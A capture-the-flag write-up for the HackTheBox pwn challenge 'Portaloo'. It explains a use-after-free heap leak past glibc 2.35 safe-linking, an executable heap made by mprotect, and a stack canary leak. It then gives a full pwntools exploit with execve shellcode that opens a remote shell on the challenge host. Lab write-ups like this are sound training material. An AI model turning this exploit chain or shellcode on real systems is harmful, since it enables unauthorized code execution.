pwnfreehard

Portaloo

hackthebox

Task: 64-bit PIE binary with heap UAF, mprotect making heap RWX, and stack buffer overflow with canary. Solution: Write shellcode to RWX heap, leak heap address via tcache safe-linking UAF, leak canary via null byte overwrite, stack smash to jump to shellcode.

$ ls tags/ techniques/
uaf_heap_leaktcache_safe_linking_bypassmprotect_rwx_abusecanary_null_byte_overwrite_leakstack_bof_ret2shellcodeshellcode_on_heap

Portaloo — HackTheBox

Description

"Portals... A gateway to other dimensions, where chaos meets creativity and the void greets you."

64-bit ELF PIE binary with full protections (Full RELRO, NX, Canary, PIE). Custom glibc 2.35 (Ubuntu GLIBC 2.35-0ubuntu3.8) provided. Remote target: 154.57.164.78:32357.

The binary is a portal management system with 5 menu options:

  1. Create Portalmalloc(0x20), stores pointer in slots[0] or slots[1]. On first allocation, calls mprotect() on the heap page with flags PROT_READ|PROT_WRITE|PROT_EXEC (7) — makes the heap RWX.
  2. Destroy Portalfree(slots[n]), but does NOT NULL the pointer (UAF).
  3. Upgrade Portalread(0, slots[n], 0x15) — writes 21 bytes to the portal.
  4. Peek into the Voidprintf("Coordinate: %d ---- Data: %.*s", 0x15, i, slots[i]) — reads portal data.
  5. Step into the Portal — stack buffer of 0x48 bytes. First read() for 0x50 bytes (8-byte overflow past buffer into canary). Second read() for 0x68 bytes (0x20-byte overflow — overwrites canary, saved rbp, return address). After this function, main calls exit(0).

Global Variables

  • slots[2] at address 0x4060 — array of 2 heap pointers
  • mprotect_called at address 0x4050 — flag ensuring mprotect is called only once

Protections

ProtectionStatus
PIE✅ Enabled
NX✅ Enabled (but heap is made RWX via mprotect!)
Canary✅ Enabled
RELROFull

Analysis

Vulnerability 1: RWX Heap (mprotect abuse)

In create_portal(), the first allocation triggers:

page_aligned = slots[n] & ~(page_size - 1); mprotect(page_aligned, page_size, PROT_READ|PROT_WRITE|PROT_EXEC);

This makes the entire heap page executable — perfect for shellcode.

Vulnerability 2: Use-After-Free (UAF)

destroy_portal() calls free(slots[n]), but never sets slots[n] = NULL. This means:

  • upgrade_portal() can write to freed chunks (write-after-free)
  • peek_into_the_void() can read from freed chunks (read-after-free / info leak)

Vulnerability 3: Stack Buffer Overflow in step_into_the_portal

char buf[0x48]; // at rbp-0x50 // First read — canary leak read(0, buf, 0x50); // 8 bytes overflow, overwrites canary LSB printf("[!] Amazing option choosing %s", buf); // leaks canary if null byte is overwritten // Buffer is cleared memset(buf, 0, 0x48); // Second read — full overflow read(0, buf, 0x68); // 0x20 bytes overflow: canary + rbp + ret addr

Key point: after returning from step_into_the_portal, the main function calls exit(0), so we need to hijack control exactly when returning from step_into_the_portal, not from main.

Solution

Exploitation Strategy

┌─────────────────────────────────────────────────────────┐
│ 1. Create Portal 0 → mprotect → heap RWX               │
│ 2. Create Portal 1                                       │
│ 3. Upgrade Portal 0 → write 21-byte execve shellcode    │
│ 4. Destroy Portal 1 → free → tcache, fd = safe-linked   │
│ 5. Peek Portal 1 (UAF) → leak tcache fd → heap base     │
│ 6. Step into Portal → leak canary → smash stack → RCE   │
└─────────────────────────────────────────────────────────┘

Step 1: Creating Portals and RWX Heap

Create portal 0 — this triggers mprotect(), making the heap page RWX. Then create portal 1.

Step 2: Writing Shellcode to Heap

Write a 21-byte execve("/bin//sh", NULL, NULL) shellcode to portal 0 via Upgrade:

xor rsi, rsi ; 48 31 f6 — rsi = 0 (argv) push rsi ; 56 — push 0 (null terminator) movabs rdi, "/bin//sh" ; 48 bf 2f 62 69 6e 2f 2f 73 68 — string in rdi push rdi ; 57 — push string to stack mov rdi, rsp ; 48 89 e7 — rdi = pointer to string cdq ; 99 — rdx = 0 (envp) mov al, 0x3b ; b0 3b — syscall number execve syscall ; 0f 05

Total: 3 + 1 + 10 + 1 + 3 + 1 + 2 + 2 = 21 bytes — fits exactly within the read(0, slots[n], 0x15) limit.

Step 3: Heap Address Leak via UAF

Free portal 1 — the chunk goes into tcache. In glibc 2.35, tcache uses safe linking:

fd_stored = real_next_ptr ^ (chunk_addr >> 12)

Since the tcache bin was empty, real_next_ptr = 0, therefore:

fd_stored = 0 ^ (chunk1_addr >> 12) = chunk1_addr >> 12

Read portal 1 via Peek (UAF) → get chunk1_addr >> 12 → recover heap base:

heap_key = u64(leaked_bytes.ljust(8, b'\x00')) shellcode_addr = (heap_key << 12) + 0x2a0 # offset to chunk0 user data

The 0x2a0 offset is the distance from the heap page start to chunk 0's user data (where the shellcode resides).

Step 4: Stack Canary Leak

Call option 5 (Step into the Portal):

  • First read (0x50 bytes): send exactly 0x49 bytes — 0x48 bytes of padding + 1 byte to overwrite the canary's null LSB
  • printf("[!] Amazing option choosing %s", buf) — since the canary's null terminator is overwritten, %s continues reading past the buffer and outputs the remaining 7 bytes of the canary
  • Extract the 7 leaked bytes, prepend \x00 (canary LSB is always 0x00)

Step 5: Stack Smash → Jump to Shellcode

Second read (0x68 bytes) — construct payload:

[0x48 bytes padding] [8 bytes canary] [8 bytes fake rbp] [8 bytes ret addr → shellcode]

Function returns → RIP = shellcode address on RWX heap → execve("/bin/sh") → shell!

Full Exploit

from pwn import * context.binary = './portaloo' context.arch = 'amd64' def create(io, idx): io.sendlineafter(b'>> ', b'1') io.sendlineafter(b'number: ', str(idx).encode()) def destroy(io, idx): io.sendlineafter(b'>> ', b'2') io.sendlineafter(b'number: ', str(idx).encode()) def upgrade(io, idx, data): io.sendlineafter(b'>> ', b'3') io.sendlineafter(b'number: ', str(idx).encode()) io.sendafter(b'data: ', data) def peek(io): io.sendlineafter(b'>> ', b'4') return io.recvuntil(b'-=[ Portaloo ]=-', drop=True) # ── Connect ────────────────────────────────────────────── io = remote('154.57.164.78', 32357) # ── Step 1: Create portals (first triggers mprotect → RWX heap) ── create(io, 0) create(io, 1) # ── Step 2: Write shellcode to portal 0 ────────────────── # 21-byte execve("/bin//sh", NULL, NULL) shellcode shellcode = b"\x48\x31\xf6" # xor rsi, rsi shellcode += b"\x56" # push rsi shellcode += b"\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68" # movabs rdi, "/bin//sh" shellcode += b"\x57" # push rdi shellcode += b"\x48\x89\xe7" # mov rdi, rsp shellcode += b"\x99" # cdq (rdx=0) shellcode += b"\xb0\x3b" # mov al, 0x3b shellcode += b"\x0f\x05" # syscall assert len(shellcode) == 21 # exactly 0x15 bytes upgrade(io, 0, shellcode) # ── Step 3: Leak heap address via UAF ──────────────────── destroy(io, 1) leak_data = peek(io) # Parse tcache safe-linked fd from freed chunk 1 # In glibc 2.35: fd_stored = real_next ^ (chunk_addr >> 12) # Since tcache was empty: fd_stored = 0 ^ (chunk1_addr >> 12) = chunk1_addr >> 12 # Extract leaked bytes from peek output (after "Data: " field) idx = leak_data.index(b'Data: ') + 6 leaked_bytes = leak_data[idx:idx+6] heap_key = u64(leaked_bytes.ljust(8, b'\x00')) shellcode_addr = (heap_key << 12) + 0x2a0 # offset to chunk0 user data log.info(f"Heap key: {hex(heap_key)}") log.info(f"Shellcode addr: {hex(shellcode_addr)}") # ── Step 4: Leak stack canary ──────────────────────────── io.sendlineafter(b'>> ', b'5') # First read: 0x48 padding + 1 byte to overwrite canary's null LSB io.sendafter(b'with you?\n', b'A' * 0x48 + b'B') resp = io.recvuntil(b'Any last words') # Canary starts right after our 0x49 bytes of output # printf("%s") leaks past buffer into canary (null terminator was overwritten) canary_offset = resp.index(b'A' * 0x10) + 0x48 + 1 # after padding + 'B' canary_bytes = resp[canary_offset:canary_offset + 7] canary = u64(b'\x00' + canary_bytes[:7]) log.info(f"Canary: {hex(canary)}") # ── Step 5: Stack smash → jump to shellcode ────────────── payload = b'A' * 0x48 # buffer padding payload += p64(canary) # correct canary payload += p64(0) # fake saved rbp payload += p64(shellcode_addr) # return address → shellcode on RWX heap io.sendafter(b'words: ', payload) # ── Shell! ─────────────────────────────────────────────── io.interactive()

Key Indicators

Use this combination of techniques when:

  • mprotect on heap — binary itself makes the heap page RWX → can write and execute shellcode directly on the heap
  • free() without NULLing pointer — classic UAF, allows reading/writing to freed chunks
  • glibc 2.35 + tcache safe linking — fd in tcache is masked with XOR (addr >> 12), but with empty bin next = 0 and the mask is trivially recoverable
  • read() overflow by 1+ bytes past canary — overwriting canary's null LSB + printf("%s") = canary leak
  • Two-stage read in one function — first for leak, second for overwrite
  • Full RELRO + PIE — GOT overwrite impossible, but RWX heap provides direct path to code execution

Notes

  • Shellcode is exactly 21 bytes — fits precisely within the read(0, ptr, 0x15) limit. If the limit were smaller, staged shellcode or another approach would be needed.
  • The 0x2a0 offset from heap page start to chunk 0's user data depends on the allocator and may differ across glibc versions. Determined empirically via GDB.
  • exit(0) in main after step_into_the_portal() means RIP hijack must occur when returning from the nested function, not from main.

$ cat /etc/motd

Liked this one?

Pro unlocks every writeup, every flag, and API access. $9/mo.

$ cat pricing.md

$ grep --similar

Similar writeups